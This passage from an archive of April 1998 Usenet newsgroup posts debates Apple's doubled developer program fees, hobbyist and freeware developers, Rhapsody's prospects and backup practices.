> shareware, then $500 is a reasonable investment if you believe you have
> something useful to contribute. If you're writing Rhapsody apps for a hobby,
> why should I subsidise your playtime?
Because my stuff has always been freeware. Because I'm a student, and
Apple needs to offer me an educational discount (NOW, not a year from
now--does Apple want to encourage students to uses its latest and greatest
OS or not?).
I don't worry at all about major developers. It's the hobbyist
programmers like myself that I worry about.
Most of the software I write is to solve problems for myself. Then I
realize other people might be able to use them, so I release them. But I
don't really have enough free time to guarantee good support for them,
they're not particularly well polished, and that's why I keep them
freeware rather than charging for them. If you don't mind losing people
like me, fine, but I think Apple needs hobbyist developers.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 16:49:37 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981649370001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com>
In article <6girj3$6j$2@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
> Let me put it to you this way: the increase in costs represents roughly a
> day's pay (before taxes, anyway :-) for the average programmer. BFD.
The new cost is two weeks' pay (after withholding :-) out of my stipend. :-(
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: Koo <amind@pacific.net.sg>
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody ready for mission critical deployment?
Date: Sat, 11 Apr 1998 16:27:30 +0800
Organization: Subscriber, Pacific Internet, Singapore
Message-ID: <352F2972.8C1088E4@pacific.net.sg>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Is rhapsody ready for mission critical deployment when it is launched this coming summer?
Regards,
Koo
From: edremy@chem1.usc.edu (Eric Remy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Fri, 10 Apr 1998 10:53:14 -0700
Organization: USC Chemistry
Message-ID: <edremy-ya02408000R1004981053140001@nnrp.usc.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <joe.ragosta-0904981940420001@elk64.dol.net> <edremy-ya02408000R0904981710030001@nnrp.usc.edu> <6glgl4$jrn$1@nnrp1.dejanews.com>
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In article <6glgl4$jrn$1@nnrp1.dejanews.com>, craig_isaacs@dantz.com wrote:
> In article <edremy-ya02408000R0904981710030001@nnrp.usc.edu>,
> edremy@chem1.usc.edu (Eric Remy) wrote:
>
> > ... You wrote earlier that you use Retrospect. Do
> > you verify every tape that's written by reinstalling on a blank HD? This
> > probably isn't necessary. ...
>
> Just FYI - If you leave Retrospect's verify option on (set to the default),
> Retrospect will verify the data integrity on the media by using it's restore
> routines. So, for every file on the media, Retrospect reads it back into
> memory and compares it to the original file. If they're the same file, great.
> If not, Retrospect writes an error to the log.
Most backup programs do this. (Hell, even the bundled NT one does, and
it's a piece of junk in almost every other way.) This doesn't help user
error though, if someone screws up the settings and doesn't back up all the
files. (*Blushes*) Doesn't help tapes that someone lays a magnet on
either.
> Therefore, one wouldn't need to check *every* tape as long as verify is left
> on. (Of course, we also recommend that folks periodically test their backup
> system by actually restoring files.)
Smart move.
> Craig Isaacs
> Dantz Development Corpo
BTW, I love the idea of automatic laptop backup whenever a user plugs into
a LAN. I'll remember your names if I ever have to support a lot of
laptops.
--
Eric R. edremy@chem1.usc.edu
Director of Instructional Computing, USC Chemistry
"See, I told you they'd listen to Reason"- Fisheye, _Snow Crash_
If you think I speak for USC, see your doctor now.
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 10:37:09 +0200
Organization: Guest of OLEANE
Message-ID: <1d7bgx8.yakdfihckqtpN@dialup-202.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com> <19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com> <6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm9o0$evt$1@crib.bevc.blacksburg.va.us>
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Nathan Urban <nurban@crib.bevc.blacksburg.va.us> wrote:
> If everyone sits around and waits until Rhapsody has a market size of
> X, rather than buying it and/or developing for it, can you guess the
> likely outcome?
We do have a BeOs port underway, I know what uou mean ;-)
> Me, I'm willing to put time and effort into a system that gets the
> job done better than any other, and do what I can to _make_ it a good
> platform.. if no one did, then nothing new would ever get used.
cf supra. But I have no confidence whatsoever in Apple's management
capability to take a decision a stick to it. In fact I do have some sort
of confidence, I know Aple's capability of killing technologies:
Copland
Newton
Opendoc
GX
Pipin
...
...
So I'm like St Thomas now when it comes to Apple. Seeing is believing.
Benoît Leraillez
From: Robert Nicholson <steffi@shell8.ba.best.com>
Newsgroups: comp.sys.next.advocacy
Subject: Don't forget to read.
Date: 10 Apr 1998 11:31:20 -0700
Message-ID: <yl34t01a5qf.fsf@shell8.ba.best.com>
http://www.latimes.com/HOME/NEWS/BUSINESS/UPDATES/lat_microsoft0410.htm
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 9 Apr 1998 10:54:19 -0500
Organization: Texas Instruments
Message-ID: <MPG.f96ab2832ee6e1a9896d8@news.itg.ti.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net>
In article Joe Ragosta, joe.ragosta@dol.net says...
*snip*
> I apologized to Donald in e-mail for the strength of my comments.
>
> But I don't see anything here that changes the essence.
Face it Joe, Apple has burned lots of people and they resent Apple for
it. And they are right. Not everyone can be as blindly fanatical as you
are. I'm starting to see that maybe you don't really have much reliance
or much invested in Apple. If you did, you wouldn't support them so
freely. People who do rely on Apple get the shaft, a lot.
--
A world without the Mac is a step closer to utopia.
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 15:55:43 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gir1v$6j$1@anvil.BLaCKSMITH.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul>
"macghod" <macghod@concentric.net> wrote:
>> The monthly mailing is available for $50 less than the old Associate
>> membership.
>>
>> The lowest paid developer status is $500 instead of $250. If you really
>> need to get the beta OS versions, your cost went up by $250. But everyone
>> else seems to be better off.
>
> More Ragosta FUD. "Everyone else seems to be better off". Who is better
> off?
Presumably Apple, else they wouldn't have made the change.
The question is whether this is at the expense of their customers, as some
have claimed. I have yet to be convinced as to why this would be the case.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 10 Apr 1998 18:24:39 GMT
Organization: P & L Systems
Message-ID: <6glo57$oop$14@ironhorse.plsys.co.uk>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154>
<6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr>
<9APR98.16105101@fredjr.pfc.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: FRIDBERG@PSFC.MIT.EDU
NOTE: FOLLOWUPS TO COMP.SYS.NEXT.ADVOCACY,COMP.SYS.MAC.ADVOCACY
In <9APR98.16105101@fredjr.pfc.mit.edu> FRIDBERG@PSFC.MIT.EDU wrote:
> ->mmalcolm crawford wrote:
> ->
> ->> If you're a professional developer, or intent on producing shareware
that's
> ->> of genuine utility (i,e, good enough that people will pay for it), $500
> ->> should not be a serious impediment, else your business plans are out of
> ->> kilter.
> ->
> And let's not forget such things as NewsWatcher (which probably half of
people
> who read this NG are using, or NSCA Telnet (which I am using) or bunch of
other
> internet software which made Mac so attractive to use for Internet access
> and allowed us to have pretty high market share on internet. Mister
MMalcolm
> Crawford prbably never heard of such programs as Disinfectant of Internet
> Config either. Or maybe he just afraid that all those freeware applications
> going to drive him out of business?
>
No, I'm not afraid these will drive us out of business at all. You're
displaying an astonishing lack of intelligence (in the broadest sense of the
word) by suggesting this. I welcome freeware applications, just like anyone
else. For your information, we have actually distributed a couple of
freeware applications for Rhapsody ourselves, and, for your benefit,
sponsored the development of another (OpenUp -- cf http://www.stepwise.com/ )
I fail to understand your pride in NCSA Telnet or Disinfectant; telnet comes
free with Rhapsody, and viruses are unknown on Unix. There are also a number
of free Unix Newsreaders, and internet configuration on Rhapsody should be
straightforward.
What your rather vacuous message has not addressed is the question as to why
anyone writing freeware would *need* all the benefits of the developer
program.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 10 Apr 1998 18:27:31 GMT
Organization: P & L Systems
Message-ID: <6gloaj$oop$15@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6gi8o4$oop$9@ironhorse.plsys.co.uk> <steve-0904981201500001@oranoco.discoverysoft.com>
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Cc: steve@discoverysoft.com
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <steve-0904981201500001@oranoco.discoverysoft.com> Steven Fisher wrote:
> I would think this extends to shareware as well.
>
> Would Default Folder have been able to support MacOS 8 as it shipped if
> Jon Gotow hadn't had acess to betas of MacOS 8?
>
> Would Kaleidoscope have supported MacOS 8 and MacOS 8 interface elements
> immediately if Greg Landweber hadn't had acess to betas of MacOS 8?
>
> Don't you feel better knowing that the freeware and shareware software you
> use is being tested long before the next MacOS is actually released?
>
No. I'm used to using an operating system where stuff doesn't break simply
because a new version is released.
Best wishes,
mmalc.
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 16:04:51 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6girj3$6j$2@anvil.BLaCKSMITH.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr>
xhsoft@injep.fr (Xavier Humbert) wrote:
> <rmcassid@uci.edu> wrote:
>> and can quite likely afford a modest
>> increase in costs.
>
> 100% increase is modest for you ?
Let me put it to you this way: the increase in costs represents roughly a
day's pay (before taxes, anyway :-) for the average programmer. BFD.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 10 Apr 1998 18:31:25 GMT
Organization: P & L Systems
Message-ID: <6gloht$oop$16@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: ericb@pobox.com
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <ericb-0904981644570001@132.236.171.104> Eric Bennett wrote:
>
> Rhapsody DR1 was released last September. That was seven months ago! How
> long does it take to decide how much you're going to charge .edu users?
>
For heaven's sake; they haven't decided how much they're going to charge
*anyone* yet.
> I've only heard rumors about low-cost Rhapsody licensing, not official
> commitments from Apple.
>
Apple has just announced WebObjects is available to academics for $99,
including deployment. Given that the latter costs $25,000 for the commercial
sector, I think that's pretty generous, and augurs well. It even gives you
an excellent platform on which to learn more about Rhapsody development.
> I am not at all optimistic.
>
Whinge whinge whinge. Sheesh, I hope I had a better attitude when I was an
academic.
mmalc.
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 18:52:40 GMT
Message-ID: <01bc46e4$1815c920$24f0bfa8@davidsul>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104><joe.ragosta-0804980858150001@wil77.dol.net><mazulauf-0804981503390001@sneezy.met.utah.edu><joe.ragosta-0804981906460001@elk68.dol.net><01bc4540$d4a15e60$3af0bfa8@davidsul><6gh8v1$oop$6@ironhorse.plsys.co.uk> <SCOTT.98Apr9091856@slave.doubleu.com>
> > More Ragosta FUD. "Everyone else seems to be better off". Who
> > is better off?
>
> Apple's customers who no longer have to subsidise hobbyist
> developers.
>
> Where's the incremental cost of making developer tools freely
> available to all comers? The developer hardware discounts going away
> isn't a problem - the problem is that the hardware cost isn't in line
> with market costs. So far as tech support, that's generally sucked
> for anyone who doesn't have a rep assigned to them anyhow.
Lets be honest here. Macapp was made available AFTER it was put in
maintanence mode. IE apple said "geez, it sure isnt worth it to sell this,
lets cut our losses and stop actively putting out new releases for it".
And whoever thinks the cost of the program doesnt cover apples costs is
greatly naive.
Plus, now Apple is using the microsoft developer pricing model as its own.
Oops, but microsoft has %95 of the market and apple only has %3. Oops,
Microsoft has a monopoly so they can do this. I guess Apple is now "just
as good" as microsoft <big grin>
Except they dont have a monopoly and are figting for their lifes, so they
cant use monopolistic pricing like microsoft does.
Clue phone for Mr Jobs, Mr Jobs please pick up the clue phone. Mr Jobs,
Apple is not Microsoft, Microsoft can charge those prices because they are
a monopoly, Apple is fighting for its life so it cant treat developers so
shabbily
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 12:45:49 -0700
Organization: Northwest Nexus Inc.
Message-ID: <6glstd$l46$1@halcyon.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com> <rmcassid-0904982359270001@dante.eng.uci.edu> <joe.ragosta-1004980649300001@elk81.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
>Well, even if he were just sticking it to MS, the statement was very
>specific; "Mac users weren't affected". There must have been a real
>difference.
Yeah, there was a real difference. No one tried to move their Mac
servers.
--Tim Smith
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 12:55:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B153C824-106D1@206.165.43.115>
References: <joe.ragosta-1004980619170001@elk81.dol.net>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Joe Ragosta <joe.ragosta@dol.net> said:
> > Yep. Abandoning superior technology for nothing in the pipeline (no
> > upgrades to newtonOS, GX, CD, OpenDoc, etc will ever be done, meaning
> that
> > any developer or user who bought into those is now orphaned) is always
> > destructive.
>
> Right. I'm still chuckling over all your statements about GX's
superiority
> over DPS which have been consistently wrong.
No, you're chuckling over DPS-lover's propoganda. Remember that the only
feedback about DPS that you are getting has been from people that use DPS,
not GX. Also, the people in charge of graphics at Apple *invented* DPS, not
GX, so they have a certain level of bias, also.
And the only difference between "hurt Apple" and "destroy Apple" is
time-frame.
"Hurt Apple" often enough and it is destroyed.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Date: 9 Apr 1998 12:24:47 -0400
Organization: Interport Communications Corp.
Message-ID: <6gisof$bht$1@interport.net>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggrql$oop$1@ironhorse.plsys.co.uk>
Have you ever heard of "mindshare"? Sure, it's a buzzword, but
dereference it and you find something important.
If I had free or cheap access to Rhapsody technology, I would put it on a
spare PC. If I like Rhapsody, my next machine might be a Mac; the other
option is Sun's Darwin (the $3000 Ultra 5).
I'm not about to write any killer apps for anybody's operating system, but
I am an effective advocate for any technology I like and find useful.
I've never been part of the "Apple camp" in the past, since I'm not fond
of MacOS. Apple has always relied to some extent on
enthusiasts/advocates/evangelists, and they could be getting unixers on
board right now if they cared to.
mmalcolm crawford (malcolm@plsys.co.uk) wrote:
: Why does anyone *need* to be part of the program if they're not developing
: professional or semi-professional apps. Sure, access to the latest and
: greatest betas of the s/w is fun, but not essential if you're hacking at home
: for the joy of it. Apple is not a charity -- and I don't want to have to pay
: more for my Mac to subsidise someone else's hobby.
: mmalc.
--
Ben
<Just Another System Administrator>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 13:00:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B153C956-14E86@206.165.43.115>
References: <joe.ragosta-1004980621290001@elk81.dol.net>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
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Joe Ragosta <joe.ragosta@dol.net> said:
> > SDK's and Mac API development don't interest me. I want to know what
> will
> > happen to the cost of developing for Rhapsody.
> >
>
> How about zero dollars? Download MkLinux and GNUStep.
GNUStep doesn't exist as a useable product, letalone a standard anyone
could develop for. And what does MKLinux have to do with Rhaposdy
developement? The fact that they are both Unices?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Message-ID: <edewEr7sBz.1qq@netcom.com>
Sender: edew@netcom13.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6gjr16$rfe$1@halcyon.com> <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com> <atlauren-0904982127500001@dialin33466.slip.uci.edu>
Date: Fri, 10 Apr 1998 20:16:47 GMT
All I know is, if you're a software company and plan to hire some MBAs for
MARCOM or sales, don't hire these folks who lost their thesis because they
didn't back up their files. Golly, it's inconvenient to back up everything,
but heck, data and thesis stuff would be as close to sacred as anything.
I backed up my stuff when I did my thesis...on a NeXT, too.
EDEW
From: jgareau@apple.com (Justin Gareau)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 10 Apr 1998 20:09:45 GMT
Organization: Apple Computer, Inc.
Message-ID: <6glua9$p3s$1@news.apple.com>
References: <gmgraves-0904981554180001@sf-usr1-47-175.dialup.slip.net>
In article <gmgraves-0904981554180001@sf-usr1-47-175.dialup.slip.net>
gmgraves@slip.net (George Graves) writes:
> I will also file bug reports (least I can do),
> as, I'm sure most people in this category would. That is a service Apple
used
> to pay people good money for (product assurance) but, they fired all of
those
> people, now its just developers.
Bull.
From: trumbull@cs.yale.edu (Ben Trumbull)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 16:20:41 -0400
Organization: Yale University
Message-ID: <trumbull-1004981620410001@net44-223.student.yale.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no> <6geche$8lu$1@news2.apple.com> <philipm-0804982051170001@pm1-23.eecs.umich.edu> <6gj0or$oop$12@ironhorse.plsys.co.uk> <trumbull-0904981554150001@net44-223.student.yale.edu> <don_arb-1004981207170001@sea-ts1-p29.wolfenet.com>
In article <don_arb-1004981207170001@sea-ts1-p29.wolfenet.com>,
don_arb@wolfenet.com (Don Arbow) wrote:
> Well, if the "hardware discounts were never very impressive", then why are
> all these people whining about losing access?
*I* never whined about it. I think a lot of it has to do with the WAY in
which it was done. Apple made these people FEEL like they were getting
shafted. You have to admit the way in which it was done .. "here, the
prices are doubled, and btw, we've cut your access to the hardware
discounts" lacked any sense of finesse or rational sense of handling
customers. Even someone from Apple admitted the notice was "badly
worded".
> Remember, also that Apple needed people to administer the hardware
> program, take orders, get the boxes shipped, etc. I'm sure that cut into
> any profits that Apple may have made on the boxes.
That's entirely Apple mismangement, then. Everyone who sells boxes has
people do this. Damn, Compaq and other clones makers make far smaller
margins, yet they still sell boxes and (occassionally) make profits when
they aren't busy spending all their money acquiring other companies. Why
can't Apple ? This is a pretty pathetic excuse.
Bottom line is Apple should still have been netting money on the hardware
discounts. And how can it be bad for Apple if the program nets $10 or
some small but largely irrelevant profit ? That's better than losing
money, and it's helping developers write Macintosh programs .. good for
Apple.
The essence of my thread was that all these people who are saying that
freeware/shareware developers got nothing less than they deserved and made
completely unsubstantiated claims that Apple was subsidizing these
developers are full of !@#$%. There's never been a hobbyist developer
welfare supported entirely by Apple as some people have proposed.
Increasing the costs of the dev program and restricting access to dev
hardware discounts is not going to save Apple customers a dime.
terminally curious,
Ben
___________________________________________________________________
Benjamin Trumbull
trumbull@cs.yale.edu
Yale University
You can't be in hell; you can still read your e-mail
From: don_arb@wolfenet.com (Don Arbow)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 12:19:02 -0700
Organization: EveryDay Objects, Inc.
Message-ID: <don_arb-1004981219030001@sea-ts1-p29.wolfenet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <ericb-0904981717420001@132.236.171.104>
In article <ericb-0904981717420001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
: In article <6ggj21$fit$6@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
:
:
: > However, Apple does not want to spend the time (== money) and resources
: to provide
: > extensive support for DR1 to individual people who just want to play
around.
:
: They don't have to provide support. I get all the support I need from
: Usenet, mailing lists, and the documentation. I've had plenty of
: Macintosh programming questions, and have never directed any of them
: specifically at Apple (although I have had Apple employees respond to help
: requests in Internet forums).
Well, since DR1 is currently under NDA, the only place to get your
questions answered are from Apple itself. You cannot post questions in
public forums about software which you have agreed to Apple that you will
not discuss.
Don
--
Don Arbow, Partner, CTO
EveryDay Objects, Inc.
don_arb@wolfenet.com <-- remove underscore to reply
http://www.edo-inc.com
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 9 Apr 1998 16:14:02 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gis4a$6j$3@anvil.BLaCKSMITH.com>
References: <199801202218001457904@ppp8.hol.fr> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <6ggsgj$fit$9@anvil.BLaCKSMITH.com> Charles Swiger wrote:
>> Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>>> Actually, I'm kind of sick of the whole idea of modulization.
>>
>> I've been trying to go to bat for you with Malcolm re: your potential
>> coding skills, and you say this? I may have to give up my optimistic
>> perspective.... :-)
>
> I think you owe me a bar of chocolate, Chuck! :-)
Deal. Hopefully I'll be at WWDC....
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Date: 9 Apr 1998 12:35:10 -0400
Organization: Interport Communications Corp.
Message-ID: <6gitbu$cg1$1@interport.net>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk>
mmalcolm crawford (malcolm@plsys.co.uk) wrote:
: In <B1511019-15903@206.165.43.154> "Chicken Little" wrote:
: > Trying to make developer *support* a profit center is an INSANE idea.
: >
: Apple acting as a charity subsidising people's hobbies is what's insane.
: Nor should they be offering a program wide open to abuse by people signing up
: as developers just to get a discount on hardware.
The dynamics of platform adoption don't work the way you think. It
